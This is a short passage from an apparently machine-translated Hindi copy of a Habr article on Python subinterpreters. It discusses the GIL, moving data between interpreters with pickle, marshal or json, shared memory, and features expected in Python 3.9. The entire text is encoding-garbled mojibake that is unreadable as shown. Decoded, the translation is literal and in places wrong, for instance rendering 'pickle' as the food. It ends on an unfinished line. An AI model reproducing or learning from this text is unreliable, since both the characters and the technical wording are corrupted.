рдЗрд╕ рд╕рдВрдмрдВрдз рдореЗрдВ рдореБрдЦреНрдп рд╕рдорд╕реНрдпрд╛ рд╣реИ рджреБрднрд╛рд╖рд┐рдпреЛрдВ рдХреЗ рдмреАрдЪ рдбреЗрдЯрд╛ рдХрд╛ рд╣рд╕реНрддрд╛рдВрддрд░рдг, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд░рд╛рдЬреНрдп рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ рдзрд╛рд░рд╛рдПрдВ рдХрд░рддреА рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рд╣рдореЗрдВ рдЙрдирдХреЗ рдмреАрдЪ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреЗ рдХрдиреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЕрдЪрд╛рд░, рдорд╛рд░реНрд╢рд▓ рдпрд╛ рдЬреЛрдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдХреНрд░рдордмрджреНрдз рдФрд░ рдЦрд╝рд░рд╛рдм рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╡рд┐рдзрд┐ рдХрд╛рдлреА рдзреАрдореА рдЧрддрд┐ рд╕реЗ рдХрд╛рдо рдХрд░реЗрдЧреАред рдПрдХ рд╕рдорд╛рдзрд╛рди рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЙрдбреНрдпреВрд▓ рд╕реЗ рд╕рд╛рдЭрд╛ рдореЗрдореЛрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реИред

рд╕рдмрдкреНрд░реЛрд╕реЗрд╕ рдЬреАрдЖрдИрдПрд▓ рдХреА рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рд╕рдорд╛рдзрд╛рди рд╣реИ, рд▓реЗрдХрд┐рди рдХрд╛рдо рдХрд╛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдкреВрд▓ рдЕрднреА рднреА рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдкрд╛рдпрдерди рдЕрднреА рднреА "рджреБрднрд╛рд╖рд┐рдпрд╛ рд░рд╛рдЬреНрдп" рдХреЗ рдмрдЬрд╛рдп "рд░рдирдЯрд╛рдЗрдо рд╕реНрдЯреЗрдЯ" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХрдЪрд░рд╛ рдХрд▓реЗрдХреНрдЯрд░ рдмрд╕ рдпрд╣реА рдХрд░рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЖрдкрдХреЛ рд╕рд╛рдорд╛рдиреНрдп рддрд░реАрдХреЗ рд╕реЗ рдЙрдк-рджреБрднрд╛рд╖рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЖрдВрддрд░рд┐рдХ рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдЗрд╕ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкрд╛рдпрдерди рд╕рдВрд╕реНрдХрд░рдг 3.9 рдореЗрдВ рддреИрдирд╛рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЕрдВрдд рдореЗрдВ, рдореИрдВ рдпрд╣ рдХрд╣рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ рдХрд┐ рдЗрд╕ рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рд╡рд╛рдХреНрдпрдЧрдд рд╢рд░реНрдХрд░рд╛ рдХреЛ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рдХрд╛рдо рдореЗрдВ рдХреБрдЫ рдЧрдВрднреАрд░ рд╕реБрдзрд╛рд░ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рднреАред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдХрдИ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рдиреЗ рдЗрд╕реЗ рд░рд┐рд▓реАрдЬ рдореЗрдВ рдХрднреА рдирд╣реАрдВ рдмрдирд╛рдпрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдо рдкрд╛рдпрдерди 3.9 рдореЗрдВ рдЙрдирдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВрдЧреЗред

рд╕реВрддреНрд░реЛрдВ рдХрд╛ рдХрд╣рдирд╛ рд╣реИ:


Source: https://habr.com/ru/post/hi472432/


All Articles